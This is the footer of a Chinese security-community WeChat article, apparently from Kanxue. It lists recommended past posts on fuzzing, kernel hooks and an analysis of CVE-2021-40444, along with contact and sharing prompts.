# 往期推荐

1.利用Lighthouse进行覆盖率统计及其优化

2.从代码的角度学习AFLSMART的特性

3.通过ObRegisterCallbacks学习对象监控与反对象监控

4.详细分析CVE-2021-40444远程命令执行漏洞

5.Android Linker详解

6.内核层的三种Hook技术的使用



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存